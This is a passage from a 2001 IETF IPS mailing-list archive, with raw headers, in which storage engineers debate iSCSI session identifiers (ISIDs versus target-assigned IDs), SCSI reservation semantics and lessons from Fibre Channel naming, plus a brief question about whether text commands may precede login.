prominent is to get all the people building > these components to agree NOW to the OS-specific mechanisms to achieve it. > First recognize the need and THEN to define the mechanism (and I've said > that the mechanism isn't hard, we (as vendors, not necessarily within the > specification) just have to agree on it). Much as I believe iSCSI is important, I think this is essentially an exercise in wishful thinking - the "SHOULD partition" warning seems akin to firing a BB pellet across the bow of an aircraft carrier - it will likely be ignored. I don't think iSCSI is in a position to drive this sort of change into existing OS device driver infrastructures - rather I think it's incumbent upon us to make sure that it can exist cleanly within them. Jim goes on to say: > We're trying to prevent exactly the problem David (I think) mentioned with > FW Nodenames never taking on the role they should have. We're posting > right up front an implementation (strong) recommendation to enable both > assignment of Initiator Name (from outside the HW or SW) and of ISIDs (from > outside the HW or SW). This enables the protocol to function at its best. > If people don't want to implement to this recommendation, then they'll pay > the price with either inter-vendor interoperability problems (not with the > wire but within a given initiator) or with much more complex management > issues (a la FC Portnames). And I'm concerned that having failed to learn from the Fibre Channel history, we may be condemned to repeat it. The cross-HBA interfaces to coordinate the Node WWN never came into existence despite the best intentions and efforts of those involved in Fibre Channel, and they would have been no more complex than the ISID coordination (e.g., find all the possible Node WWNs, pick the numerically smallest). An issue has been raised about why the Target is better suited to assign session IDs than the Initiator. I've seen at least two good answers to this - Eddy Quicksall points out that this is fundamentally about managing Target-controlled resources: > Now, I'm wondering why we are even trying to use the ISID to reset a session > when we should be using the TSID ... because the target can produce unique > TSIDs and use that to identify the session much more easily than using the > combination of InitiatorName and ISID. And Sandeep Joshi points out that Targets tend to have a single entity controlling their entire implementation, unlike Initiators: > ..the target may not be monolithic > but one assumes it would atleast be "monogenic" (single-vendor) > thereby enabling it to disallow multiple nexuses being > started with the same > > The monogenic property may not hold for initiators so > a scheme which works without HBA cooperation is preferred > over one which requires cooperation. I think Jim Hafner's "kicker" issue of T10 changing reservations to be associated only with SCSI Initiator Ports is a major problem for iSCSI *independent* of whether ISIDs exist or not -- I don't think keeping ISIDs in their current form is sufficient to address that issue and may in fact be the wrong way to go about it, as I'll explain in a separate message. I now believe this issue to be orthogonal to whether ISIDs remain, but folks will have to read that separate message to see whether they agree. So, after reviewing all the email on this, I definitely don't see consensus on whether to keep ISIDs, but I'm seriously concerned that we are repeating the mistake Fibre Channel made with Node Names and will suffer the resulting consequences - iSCSI Initiator Names will get bound to HBAs rather than OS images in order to make absolutely positively sure that ISID conflicts cannot happen. At the risk of starting yet another long discussion, comments? --David -------------------------------------------------- David L. Black, Senior Technologist EMC Corporation, 42 South St., Hopkinton, MA 01748 +1 (508) 435-1000 x75140 FAX: +1 (508) 497-8500 black_david@emc.com Mobile: +1 (978) 394-7754 --------------------------------------------------- From owner-ips@ece.cmu.edu Fri Sep 28 20:28:42 2001 Received: from ece.cmu.edu (ECE.CMU.EDU [128.2.136.200]) by ietf.org (8.9.1a/8.9.1a) with ESMTP id UAA27901 for ; Fri, 28 Sep 2001 20:28:42 -0400 (EDT) Received: (from majordom@localhost) by ece.cmu.edu (8.11.0/8.10.2) id f8SNq3A13408 for ips-outgoing; Fri, 28 Sep 2001 19:52:03 -0400 (EDT) X-Authentication-Warning: ece.cmu.edu: majordom set sender to owner-ips@ece.cmu.edu using -f Received: from e31.bld.us.ibm.com (e31.co.us.ibm.com [32.97.110.129]) by ece.cmu.edu (8.11.0/8.10.2) with ESMTP id f8SNq0P13403 for ; Fri, 28 Sep 2001 19:52:00 -0400 (EDT) Received: from westrelay02.boulder.ibm.com (westrelay02.boulder.ibm.com [9.99.140.23]) by e31.bld.us.ibm.com (8.9.3/8.9.3) with ESMTP id TAA14956 for ; Fri, 28 Sep 2001 19:49:38 -0400 Received: from d03nm042.boulder.ibm.com (d03nm042.boulder.ibm.com [9.99.140.42]) by westrelay02.boulder.ibm.com (8.11.1m3/NCO v4.97.1) with ESMTP id f8SNpxf08988 for ; Fri, 28 Sep 2001 17:51:59 -0600 Importance: Normal Subject: Re: iSCSI: ISID issue To: "John Hufferd" , ips@ece.cmu.edu From: "Jim Hafner" Date: Fri, 28 Sep 2001 16:51:58 -0700 Message-ID: X-MIMETrack: Serialize by Router on D03NM042/03/M/IBM(Release 5.0.8 |June 18, 2001) at 09/28/2001 04:51:58 PM MIME-Version: 1.0 Content-type: text/plain; charset=us-ascii Sender: owner-ips@ece.cmu.edu Precedence: bulk John, On the surface, what you're proposing (having the target name the SCSI Initiator Port) at least gives the port an identity. But I wouldn't call it a name (persistent, immutable, etc). Besides, the target has no vested interest in reusing the ISID (and some resource issue in not). The initiator on the other hand may have a lot of reasons to "show the same face" for its side. The "kicker" is one of those reasons. The target can always use different ISIDs and never have to worry about support for the "kicker". Jim Hafner John Hufferd/San Jose/IBM@IBMUS@ece.cmu.edu on 09/28/2001 03:39:24 pm Sent by: owner-ips@ece.cmu.edu To: Jim Hafner/Almaden/IBM@IBMUS cc: ips@ece.cmu.edu Subject: Re: iSCSI: ISID issue Jim, You might consider the thing that passes out the ISID to be on the Target side. You folks all yelled at me about my manic desire to have the target assign both the ISID and the TSID, and saw no reason why we should not just call it SSID or SID. But let me try it again, and see if it helps this model. Suppose, in addition to the Target setting the TSID as it does today, it also assigns the ISID. Now since the Session is not established until we go into Full Featured Mode (before that it is only a connection), all you have really done is move the routine that you described as assigning the ISID, to a remote location. The Full Initiator session name (made up of the iSCSI Node Name and ISID) is technically established before there is a session. So it should be the same difference as far as your model goes, but you would have to keep the ISID as a separate item not just as a Target assigned SID. Does that seem right to you? . . . John L. Hufferd Senior Technical Staff Member (STSM) IBM/SSG San Jose Ca Main Office (408) 256-0403, Tie: 276-0403, eFax: (408) 904-4688 Home Office (408) 997-6136 Internet address: hufferd@us.ibm.com Jim Hafner/Almaden/IBM@IBMUS@ece.cmu.edu on 09/28/2001 02:41:03 PM Sent by: owner-ips@ece.cmu.edu To: Black_David@emc.com, ips@ece.cmu.edu cc: Subject: Re: iSCSI: ISID issue David, See my reply to your other note on the "kicker" thread. But I have a comment here too. Regardless of how we go about this 'who assigns the SSID' question, we still have a fundamental question about what to map the SCSI Initiator Port to AND what its 'SCSI Initiator Port Name' should be. WIthout an initiator generated (or owned) name, we can't have such a beast (we can have SCSI Initiator Ports, but no name can be associated with them). That will prevent iSCSI from being able to take advantage of things that SCSI has so far and will in the future better enable because of persistent named initiator ports. The ISID was the most obvious thing to choose. Take that away and the whole thing has to get stirred up again. I sympathize with the issue of configuration. However, if we can't solve the iSCSI Initiator Name (IIN) problem (and avoid the FC Nodename debacle), then it's true that configuration of ISIDs will also be a problem. I was expecting that we can solve the IIN problem by defining at least a de facto standard that could be put in place today. I was hoping (perhaps naively) that we could solve the ISID allocation problem at the same time. The whole point of stating all this up front now was in hopes of 'learning from the FC mistakes'. Let me add that (from private discussions) I've come to realize that the current wording is perhaps not exactly reflective of the real requirement for ISIDs. The current wording says "partition". Some have come to interpret that as a static (once at boot, sort of) partition. That actually goes too far. What is really needed (from the model point of view) is a service in the iSCSI Node that allocates ISIDs for use by session creators in the initiator portal groups. Whether that is implemented passively by static configuration (static partition) or by dynamic partition (partitions can be reconfigured on the fly) or by an api to allocate on demand (on-line algorithm) - doesn't really matter. The relevant point is that something (at the node level) has to pass them out for use in session creation within the portal groups *in such a manner so as not to break the ISID RULE*. The static partition was one implementation that I thought was doable today. Perhaps such a service is untenable. If so, then I don't know that we can put any weight in the model to the notion of an iSCSI Initiator Node! If I can't have that simple function, there can't be any more complex functions like failover, error recovery, etc.. In any case, there is still open (as far as I know) the issue of "what happens if a parallel nexus is attempted" (regardless of the definition of SCSI Initiator Port). Jim Hafner Black_David@emc.com@ece.cmu.edu on 09/28/2001 12:17:43 pm Sent by: owner-ips@ece.cmu.edu To: ips@ece.cmu.edu cc: Subject: iSCSI: ISID issue Attempting to pick this back up, and selectively quoting from the (extensive) email on this topic, here's where I think we are on this. The issue is whether to eliminate ISIDs, so that iSCSI sessions are identified solely by target-assigned TSIDs. The underlying concern is reliability of coordination of ISIDs among independent iSCSI implementations that make up a single iSCSI Initiator (one iSCSI Initiator Name), as originally stated by Nick Martin: > In particular this enables independent agents within the same initiator to > attempt a login without knowing all ISIDs in use by other agents. Each > agent would know the ISID of sessions it had successfully established, but > not the ISIDs for sessions established by others. It can use the ISIDs it > knows to recover sessions it owns. If an agent gets a failure attempting to > establish a new session, it would pick a different ISID and retry (or just > quit), rather than disrupting a session of another agent. > > I have a big problem with A) where independent agents must know the ISIDs > established by others in order to do no harm. There have been a couple of attempts to address this by requiring ISID coordination to be done via administrative or OS means, and allowing arbitrary failures when it is not done correctly. Unfortunately, these attempts have failed to distinguish between incorrect/buggy iSCSI protocol implementations (which can cause all sorts of problems and arguably deserve whatever bad results they get) and administrative errors such as mis-entering a config parameter or miscopying a parameter from a hand-written configuration sheet (for which there is benefit in limiting the damage that results, as we can expect such errors to occur no matter how carefully iSCSI and its management tools are implemented). The first attempt was to mandate a management interface - Jim Hafner wrote: > ... mandate a management interface for setting/configuring ISID > partitions and the problem goes away of non-cooperating HBAs. We can definitely mandate the existence of such an interface (actually ISID configuration interfaces for each iSCSI implementation), but we cannot mandate their correct use in all circumstances. We could decide that it's ok for minor mistakes in using that interface to result in major damage, but that may not be the best design approach. The second attempt was to strongly encourage automatic configuration mechanisms in OS platforms - Jim Hafner wrote: > The whole reason we put in the draft the "SHOULD partition" ISIDs among > portal groups and why it is so prominent is to get all the people building > these components to agree NOW to the OS-specific mechanisms to achieve it. > First recognize the need and THEN to define the mechanism (and I've said > that the mechanism isn't hard, we (as vendors, not necessarily within the > specification) just have to agree on it). Much as I believe iSCSI is important, I think this is essentially an exercise in wishful thinking - the "SHOULD partition" warning seems akin to firing a BB pellet across the bow of an aircraft carrier - it will likely be ignored. I don't think iSCSI is in a position to drive this sort of change into existing OS device driver infrastructures - rather I think it's incumbent upon us to make sure that it can exist cleanly within them. Jim goes on to say: > We're trying to prevent exactly the problem David (I think) mentioned with > FW Nodenames never taking on the role they should have. We're posting > right up front an implementation (strong) recommendation to enable both > assignment of Initiator Name (from outside the HW or SW) and of ISIDs (from > outside the HW or SW). This enables the protocol to function at its best. > If people don't want to implement to this recommendation, then they'll pay > the price with either inter-vendor interoperability problems (not with the > wire but within a given initiator) or with much more complex management > issues (a la FC Portnames). And I'm concerned that having failed to learn from the Fibre Channel history, we may be condemned to repeat it. The cross-HBA interfaces to coordinate the Node WWN never came into existence despite the best intentions and efforts of those involved in Fibre Channel, and they would have been no more complex than the ISID coordination (e.g., find all the possible Node WWNs, pick the numerically smallest). An issue has been raised about why the Target is better suited to assign session IDs than the Initiator. I've seen at least two good answers to this - Eddy Quicksall points out that this is fundamentally about managing Target-controlled resources: > Now, I'm wondering why we are even trying to use the ISID to reset a session > when we should be using the TSID ... because the target can produce unique > TSIDs and use that to identify the session much more easily than using the > combination of InitiatorName and ISID. And Sandeep Joshi points out that Targets tend to have a single entity controlling their entire implementation, unlike Initiators: > ..the target may not be monolithic > but one assumes it would atleast be "monogenic" (single-vendor) > thereby enabling it to disallow multiple nexuses being > started with the same > > The monogenic property may not hold for initiators so > a scheme which works without HBA cooperation is preferred > over one which requires cooperation. I think Jim Hafner's "kicker" issue of T10 changing reservations to be associated only with SCSI Initiator Ports is a major problem for iSCSI *independent* of whether ISIDs exist or not -- I don't think keeping ISIDs in their current form is sufficient to address that issue and may in fact be the wrong way to go about it, as I'll explain in a separate message. I now believe this issue to be orthogonal to whether ISIDs remain, but folks will have to read that separate message to see whether they agree. So, after reviewing all the email on this, I definitely don't see consensus on whether to keep ISIDs, but I'm seriously concerned that we are repeating the mistake Fibre Channel made with Node Names and will suffer the resulting consequences - iSCSI Initiator Names will get bound to HBAs rather than OS images in order to make absolutely positively sure that ISID conflicts cannot happen. At the risk of starting yet another long discussion, comments? --David -------------------------------------------------- David L. Black, Senior Technologist EMC Corporation, 42 South St., Hopkinton, MA 01748 +1 (508) 435-1000 x75140 FAX: +1 (508) 497-8500 black_david@emc.com Mobile: +1 (978) 394-7754 --------------------------------------------------- From owner-ips@ece.cmu.edu Fri Sep 28 20:31:08 2001 Received: from ece.cmu.edu (ECE.CMU.EDU [128.2.136.200]) by ietf.org (8.9.1a/8.9.1a) with ESMTP id UAA27984 for ; Fri, 28 Sep 2001 20:31:08 -0400 (EDT) Received: (from majordom@localhost) by ece.cmu.edu (8.11.0/8.10.2) id f8T06Fj14117 for ips-outgoing; Fri, 28 Sep 2001 20:06:15 -0400 (EDT) X-Authentication-Warning: ece.cmu.edu: majordom set sender to owner-ips@ece.cmu.edu using -f Received: from tower.integrix.com (lsanca1-ar4-096-158.biz.dsl.gtei.net [4.35.96.158]) by ece.cmu.edu (8.11.0/8.10.2) with ESMTP id f8T06CP14111 for ; Fri, 28 Sep 2001 20:06:12 -0400 (EDT) Received: from MIKES ([192.9.200.139]) by tower.integrix.com (Switch-2.0.1/Switch-2.0.1) with ESMTP id f8T056j19948 for ; Fri, 28 Sep 2001 17:05:06 -0700 (PDT) From: "Mike Parkhurst" To: Subject: text parameters in a "text command" without login in? Date: Fri, 28 Sep 2001 17:08:42 -0700 Message-ID: <001901c1487a$e6462050$8bc809c0@MIKES> MIME-Version: 1.0 Content-Type: multipart/alternative; boundary="----=_NextPart_000_001A_01C14840.39E74850" X-Priority: 3 (Normal) X-MSMail-Priority: Normal X-Mailer: Microsoft Outlook, Build 10.0.2627 Importance: Normal X-MimeOLE: Produced By Microsoft MimeOLE V6.00.2600.0000 Sender: owner-ips@ece.cmu.edu Precedence: bulk This is a multi-part message in MIME format. ------=_NextPart_000_001A_01C14840.39E74850 Content-Type: text/plain; charset="us-ascii" Content-Transfer-Encoding: 7bit Hello all, Is an initiator allowed to send text parameters in a "text command" without login in? Or must the login text parameters be: a- only sent along during the initiator "login request" packet b- sent in a "text command" only after a "login response" has been issued by the target to the initiator Mike Parkhurst ------=_NextPart_000_001A_01C14840.39E74850 Content-Type: text/html; charset="us-ascii" Content-Transfer-Encoding: quoted-printable

 

Hello all,

 

Is an initiator allowed to send text parameters in a "text = command" without login in?

Or must the login text parameters be:

a- only sent along during the = initiator "login request" packet

b- sent in = a "text command" only after a "login response" has = been issued by the target to the initiator

 

Mike = Parkhurst

 

 

------=_NextPart_000_001A_01C14840.39E74850-- From owner-ips@ece.cmu.edu Fri Sep 28 20:34:18 2001 Received: from ece.cmu.edu (ECE.CMU.EDU [128.2.136.200]) by ietf.org (8.9.1a/8.9.1a) with ESMTP id UAA28028 for ; Fri, 28 Sep 2001 20:34:18 -0400 (EDT) Received: (from majordom@localhost) by ece.cmu.edu (8.11.0/8.10.2) id f8SNUMv12365 for ips-outgoing; Fri, 28 Sep 2001 19:30:22 -0400 (EDT) X-Authentication-Warning: ece.cmu.edu: majordom set sender to owner-ips@ece.cmu.edu using -f Received: from e31.bld.us.ibm.com (e31.co.us.ibm.com [32.97.110.129]) by ece.cmu.edu (8.11.0/8.10.2) with ESMTP id f8SNUJP12351 for ; Fri, 28 Sep 2001 19:30:19 -0400 (EDT) Received: from westrelay02.boulder.ibm.com (westrelay02.boulder.ibm.com [9.99.140.23]) by e31.bld.us.ibm.com (8.9.3/8.9.3) with ESMTP id TAA15026; Fri, 28 Sep 2001 19:27:56 -0400 Received: from d03nm042.boulder.ibm.com (d03nm042.boulder.ibm.com [9.99.140.42]) by westrelay02.boulder.ibm.com (8.11.1m3/NCO v4.97.1) with ESMTP id f8SNUHf119790; Fri, 28 Sep 2001 17:30:17 -0600 Importance: Normal Subject: RE: iSCSI: "kicker" reservation problem To: Black_David@emc.com, ips@ece.cmu.edu From: "Jim Hafner" Date: Fri, 28 Sep 2001 16:30:14 -0700 Message-ID: X-MIMETrack: Serialize by Router on D03NM042/03/M/IBM(Release 5.0.8 |June 18, 2001) at 09/28/2001 04:30:16 PM MIME-Version: 1.0 Content-type: text/plain; charset=us-ascii Sender: owner-ips@ece.cmu.edu Precedence: bulk David, Comments in line (and we forgot to send our last dialogue to the reflector -- my fault -- so hopefully people (who care!) can catch up here. Jim Hafner Black_David@emc.com on 09/28/2001 01:50:46 pm To: Jim Hafner/Almaden/IBM@IBMUS, Black_David@emc.com cc: Subject: RE: iSCSI: "kicker" reservation problem Jim, > You wrote: > If the proposed language is adopted to allow reservations to be shared > across target ports, but be bound to initiator ports, the identities > of the initiator ports have to be visible to the "application" so that > it can control SCSI behavior with respect to reservations. > But that must also be true today (in a more static world). If an > application requests a reservation for a logical unit on one I_T_L nexus, > it pretty much needs to know what path that is, so that it knows where to > direct it's IOs. So, it needs some handle, identity, whatever for that > nexus within the operating system. In the current reservation model, the > application probably can't deal with a completely opaque handle here. It > will need to know all the I_T_L paths so that is can do the registration > across all the paths. In other words, it needs some internal identity for > the I and some external identity for the T. That's true today and won't > change with the new proposal. > > If the proposed language is adopted, then it can take better advantage of > this information, by recognizing that it only needs to register when the > I's are different (not when either the I or T is different). I think I disagree. Over in the FC world, I would expect applications to be written with a firm knowledge of when the I's (i.e., FC Initiator Ports) are the same or different and hence knowing whether they have to register without asking. This implicit knowledge may be based on stuff like inspecting the /dev filenames in Unix. That stuff in the /dev is the 'internal identity' I refer to in the next paragraph. > In either case, it needs some internal identity for the "I'. So long as > the iSCSI layer presents a representation of the 'I' as consistent with the > model, there is no problem. The application doesn't need to see the ISID, > it needs to see the internal identity of the 'I' as the same if the > underlying ISIDs for the I_T_L nexus is the same. I think I'm expecting worse - applications that depend on having the same "I" and hence needing to instruct iSCSI to use the same ISID. OTOH, you seem to be suggesting (below) a scenario in which iSCSI could declare by fiat that the "I"s are always different and hence applications always have to register; is that credible? My question is: does the application EVER ask for a new nexus? Doesn't it just takes what it gets from the layers below? The "needing to instruct iSCSI to use the same ISID" is really getting to the issue I address below about what drives the multi-path session creation in the first place. If the application needs to "drive another session" then it better really be sure about the underlying transport (cause only iSCSI can really do that on the fly!). If it has an API to say "make a new one", then it probably can say "make a new one through this (internally identified) I". So, what's the problem? The iSCSI layer will recognize the need to reuse the ISID and the upper layer never sees that value or any relationship with it and the I. BUT the usual model is the application gets whatever paths are "found" by the lower layers during discovery. In that case, it can see the internal representation of the "I"s and do the thing it needs to do. So, the question is "Does the application drive sessions or does the application make use of existing sessions?". In my mind, the answer doesn't matter for the issue here. Given a set of nexus, it can tell what I's are the same (by the internal handle) and desiring a new nexus using an existing I, it can ask the transport to make one for that I. On the other point, by declaring that the model says that the ISID names the port, then, yes, by fiat, if the ISIDs are different, then the ports are different too and that should be reflected to the upper layers (as far as they go, anyway). It's not that iSCSI 'declares' them different, just that they will be different by the model. This comment was assuming the current model. It gets weirder in the alternative model (there's no name to hang anything on! so no basis to say they are the same or not). > At least it some layer has a way to tell that the I's are the same or not. > If the target generated SSIDs entirely, there would never be two nexus with > the same I (and different T) and so the whole multipathing issue gets much > more complex. The application would ALWAYS have to work through each nexus > (as it does today, but for different reasons). Or we'd have to invent some way for an application to tell iSCSI when the application requires it to reuse an existing "I" identity. As indicated on the list, I think there are advantages to this being something other than the ISID so that it has no role in the basic iSCSI protocol (e.g., yet another key=value pair passed on login to tell the Target how the application using it expects reservations to behave). This is moving away from the usual SCSI model in which sessions are established in advance to one in which applications can cause sessions to be established, and that may be a serious change. I don't think this is really necessary or reasonable. If there is/will be an API to ask for a new nexus that has some properties (same "I") as an existing nexus, then it doesn't have to know about the ISID, just the representation of the "I" internally. It's iSCSI's job to represent the same ISID'ed sessions as the same "I" in this interface. That can't be that hard. > The issue here comes, not from the application getting a handle on the > I_T_L nexus (and perhaps its internals). It's more a question of what layer > is going to generate all those paths (nexus) in the first place? Right > now, every SCSI Initiator Port does a greedy job of building nexus to every > SCSI Target Port it can find on the bus (fabric). With iSCSI, that model > changes dramatically. Someone has to drive this nexus building in a more > constructive manner since initiator ports need to be created on the fly. > Once their built, the rest goes according to plan (as it does today). But > building them at all may require more application intervention OR each > iSCSI Initiator Portal Group does it's most aggressive best (subject to > some configuration limit of how many connections per session and how many > sesssions per target portal group and .....). I think that your "application intervention" line of thinking will lead to my concern that application control over whether two nexii have the same or different "I" is going to be required, not just application visibility. Let me know if you wind up someplace else and how/why you got there. Like I said, if we end up (later) with an application intervention, then it only need use the internal "I", not the ISID and it's the responsibility of the iSCSI layer (presenting the SAM model to the upper layer) to make sure the ISID is reused when required. > You wrote.. > At best, T10 is probably looking towards > Fibre Channel in which session endpoints are static hardware interfaces. > The easiest way to get back in line with T10 would be to forbid iSCSI > sessions from spanning network interfaces, and then use the IP address > of the network interface as the SCSI Initiator Port Name, but that would > be a significant change from the approach we've been pursuing to date. > I think that's an unfair statement about T10. The person pushing this new > stuff is active in SRP and in iSCSI and is fully aware of the issues and > implications. But on the other hand, T10 can only deal with things which > fit within its model space. That includes "named Initiator Ports" (with > the name being persistent and immutable). They don't have to be static or > hw, just named. Maybe the FC bit is unfair, but SAM is clearly written with a worldview that Ports are static entities, similar to its worldview that transports operate synchronously (e.g., see my recent reply to Bob Snively on this topic). I won't disagree with SAM having a "static" mindset. But that certainly is not a question of what direction they're "looking towards" so much as the 25 years of (proven) legacy and baggage they carry with them (and have to keep from breaking). The other thing to note is that SAM has had (a) very little concern about initiator ports (except as the source of a scsi task, aka application client) and (b) even less concern about initiator devices. It didn't matter so much when there was only one (or two) initiator(s) on the bus. It's a very different story with fabrics (as I'm sure you know). SAM is going through growing pains to deal with this. Perhaps all this will be moot after SAM-3, but I'm not entirely sure about that. > This whole thing would have been a lot easier if we never had multiple > connection sessions. But that was a choice made early. Now we see what we > can do with what we have. Right ... actually this problem is caused by sessions that span network interfaces - multiple connections on a single interface don't cause these problems (but cause a different set elsewhere because IETF does not want to encourage a repetition of the HTTP multiple connection stuff done by browsers). > You wrote: > Alternatively, we could invent yet another software name for the SCSI > Initiator Port that exists primarily to cope with this new notion of > reservation scope, > But as I've argued before, any other name still has the same problems of > namespace, use, generation, coordination. The ISID was a name already > there and suited the purposes. If we go away from ISIDs for other > reasons, then we still need another name, and we still need a rule that > says that 'named' port can't login twice with the same target portal group > and .... we're back where we are now. But the moment we put that name under application control, some large hammers become available. On Windows, one obvious thing to do is make the "software names" GUIDs which have uniqueness properties that can be controlled without coordination among the entities generating them. One can also use OIDs, vendor unique names (e.g. com.ibm.tsm.---). If we can put that name under application control, why can't we put the ISID under application control? What's so fundamentally different? Because one is in the iSCSI layer? FCname are in the FC layer, pSCSI address ids are in the pSCSI layer. It all amounts to the same thing (I think). > I've been around this bend many many times and always come > back to the same place. Can I stop now? :-{) Not yet - I think this is exploring new territory :-). Da... Thanks, --David --------------------------------------------------- David L. Black, Senior Technologist EMC Corporation, 42 South St., Hopkinton, MA 01748 +1 (508) 435-1000 x75140 FAX: +1 (508) 497-8500 black_david@emc.com Mobile: +1 (978) 394-7754 --------------------------------------------------- From owner-ips@ece.cmu.edu Fri Sep 28 20:45:09 2001 Received: from ece.cmu.edu (ECE.CMU.EDU [128.2.136.200]) by ietf.org (8.9.1a/8.9.1a) with ESMTP id UAA28102 for ; Fri, 28 Sep 2001 20:45:09 -0400 (EDT) Received: (from majordom@localhost) by ece.cmu.edu (8.11.0/8.10.2) id f8T0GCg14603 for ips-outgoing; Fri, 28 Sep 2001 20:16:12 -0400 (EDT) X-Authentication-Warning: ece.cmu.edu: majordom set sender to owner-ips@ece.cmu.edu using -f Received: from mxic2.us.dg.com (mxic2.us.dg.com [128.221.31.40]) by ece.cmu.edu (8.11.0/8.10.2) with ESMTP id f8T0GBP14598 for ; Fri, 28 Sep 2001 20:16:11 -0400 (EDT) Received: by mxic2.us.dg.com with Internet Mail Service (5.5.2653.19) id ; Fri, 28 Sep 2001 20:13:18 -0400 Message-ID: <277DD60FB639D511AC0400B0D068B71ECAD7DB@CORPMX14> From: Black_David@emc.com To: mike@integrix.com Cc: ips@ece.cmu.edu Subject: RE: text parameters in a "text command" without login in? Date: Fri, 28 Sep 2001 20:08:29 -0400 MIME-Version: 1.0 X-Mailer: Internet Mail Service (5.5.2653.19) Content-Type: multipart/alternative; boundary="----_=_NextPart_001_01C1487A.DE3379D0" Sender: owner-ips@ece.cmu.edu Precedence: bulk This message is in MIME format. Since your mail reader does not understand this format, some or all of this message may not be legible. ------_=_NextPart_001_01C1487A.DE3379D0 Content-Type: text/plain; charset="iso-8859-1" First command sent by initiator MUST be login. Only login request and response are used until login is completed (will be the case in -08). These login requests and responses go as many rounds as is necessary to complete login. Any text command sent prior to the completion of login is an error. Thanks, --David --------------------------------------------------- David L. Black, Senior Technologist EMC Corporation, 42 South St., Hopkinton, MA 01748 +1 (508) 435-1000 x75140 FAX: +1 (508) 497-8500 black_david@emc.com Mobile: +1 (978) 394-7754 --------------------------------------------------- -----Original Message----- From: Mike Parkhurst [mailto:mike@integrix.com] Sent: Friday, September 28, 2001 8:09 PM To: ips@ece.cmu.edu Subject: text parameters in a "text command" without login in? Hello all, Is an initiator allowed to send text parameters in a "text command" without login in? Or must the login text parameters be: a- only sent along during the initiator "login request" packet b- sent in a "text command" only after a "login response" has been issued by the target to the initiator Mike Parkhurst ------_=_NextPart_001_01C1487A.DE3379D0 Content-Type: text/html; charset="iso-8859-1" Content-Transfer-Encoding: quoted-printable
First=20 command sent by initiator MUST be login.  Only login=20 request
and response=20 are used until login is completed (will be the case
in=20 -08).  These login requests and responses go as many rounds=20 as
is necessary=20 to complete login.  Any text command sent prior = to
the=20 completion of login is an error.
 
Thanks,
--David

---------------------------------------------------
David = L.=20 Black, Senior Technologist
EMC Corporation, 42 South St., Hopkinton, = MA =20 01748
+1 (508) 435-1000 x75140     FAX: +1 (508) = 497-8500
black_david@emc.com       = Mobile: +1=20 (978)=20 394-7754
---------------------------------------------------

-----Original Message-----
From: Mike Parkhurst=20 [mailto:mike@integrix.com]
Sent: Friday, September 28, 2001 = 8:09=20 PM
To: ips@ece.cmu.edu
Subject: text parameters = in a "text=20 command" without login in?

 

Hello=20 all,

 

Is an initiator = allowed to=20 send text parameters in a "text command" without login in?=20

Or must the = login text=20 parameters be:

a- only sent = along during=20 the initiator "login request" packet

b- sent in a "text command" only after a "login = response" has=20 been issued by the target to the = initiator

 

Mike=20 Parkhurst

 

 

------_=_NextPart_001_01C1487A.DE3379D0-- From owner-ips@ece.cmu.edu Fri Sep 28 20:47:37 2001 Received: from ece.cmu.edu (ECE.CMU.EDU [128.2.136.200]) by ietf.org (8.9.1a/8.9.1a) with ESMTP id UAA28136 for ; Fri, 28 Sep 2001 20:47:36 -0400 (EDT) Received: (from majordom@localhost) by ece.cmu.edu (8.11.0/8.10.2) id f8T0L6R14833 for ips-outgoing; Fri, 28 Sep 2001 20:21:06 -0400 (EDT) X-Authentication-Warning: ece.cmu.edu: majordom set sender to owner-ips@ece.cmu.edu using -f Received: from e31.bld.us.ibm.com (e31.co.us.ibm.com [32.97.110.129]) by ece.cmu.edu (8.11.0/8.10.2) with ESMTP id f8T0KsP14823 for ; Fri, 28 Sep 2001 20:20:54 -0400 (EDT) Received: from westrelay02.boulder.ibm.com (westrelay02.boulder.ibm.com [9.99.140.23]) by e31.bld.us.ibm.com (8.9.3/8.9.3) with ESMTP id UAA34160 for ; Fri, 28 Sep 2001 20:18:32 -0400 Received: from d03nm065.boulder.ibm.com (d03nm065.boulder.ibm.com [9.99.140.49]) by westrelay02.boulder.ibm.com (8.11.1m3/NCO v4.97.1) with ESMTP id f8T0Krf176800 for ; Fri, 28 Sep 2001 18:20:53 -0600 X-Priority: 1 (High) Importance: Normal Subject: Re: iSCSI: ISID issue To: "Jim Hafner" Cc: ips@ece.cmu.edu X-Mailer: Lotus Notes Release 5.0.3 (Intl) 21 March 2000 Message-ID: From: "John Hufferd" Date: Fri, 28 Sep 2001 17:19:58 -0700 X-MIMETrack: Serialize by Router on D03NM065/03/M/IBM(Release 5.0.8 |June 18, 2001) at 09/28/2001 06:20:52 PM MIME-Version: 1.0 Content-type: text/plain; charset=us-ascii Sender: owner-ips@ece.cmu.edu Precedence: bulk OK, Jim, lets play this out. You have been suggesting some rules for the Initiator Side, I bet you can come up with approprate rules for the Target side assignments. Right? What do you think they would need to be? . . . John L. Hufferd Senior Technical Staff Member (STSM) IBM/SSG San Jose Ca Main Office (408) 256-0403, Tie: 276-0403, eFax: (408) 904-4688 Home Office (408) 997-6136 Internet address: hufferd@us.ibm.com Jim Hafner 09/28/2001 04:51 PM To: John Hufferd/San Jose/IBM@IBMUS, ips@ece.cmu.edu cc: From: Jim Hafner/Almaden/IBM@IBMUS Subject: Re: iSCSI: ISID issue (Document link: John Hufferd) John, On the surface, what you're proposing (having the target name the SCSI Initiator Port) at least gives the port an identity. But I wouldn't call it a name (persistent, immutable, etc). Besides, the target has no vested interest in reusing the ISID (and some resource issue in not). The initiator on the other hand may have a lot of reasons to "show the same face" for its side. The "kicker" is one of those reasons. The target can always use different ISIDs and never have to worry about support for the "kicker". Jim Hafner John Hufferd/San Jose/IBM@IBMUS@ece.cmu.edu on 09/28/2001 03:39:24 pm Sent by: owner-ips@ece.cmu.edu To: Jim Hafner/Almaden/IBM@IBMUS cc: ips@ece.cmu.edu Subject: Re: iSCSI: ISID issue Jim, You might consider the thing that passes out the ISID to be on the Target side. You folks all yelled at me about my manic desire to have the target assign both the ISID and the TSID, and saw no reason why we should not just call it SSID or SID. But let me try it again, and see if it helps this model. Suppose, in addition to the Target setting the TSID as it does today, it also assigns the ISID. Now since the Session is not established until we go into Full Featured Mode (before that it is only a connection), all you have really done is move the routine that you described as assigning the ISID, to a remote location. The Full Initiator session name (made up of the iSCSI Node Name and ISID) is technically established before there is a session. So it should be the same difference as far as your model goes, but you would have to keep the ISID as a separate item not just as a Target assigned SID. Does that seem right to you? . . . John L. Hufferd Senior Technical Staff Member (STSM) IBM/SSG San Jose Ca Main Office (408) 256-0403, Tie: 276-0403, eFax: (408) 904-4688 Home Office (408) 997-6136 Internet address: hufferd@us.ibm.com Jim 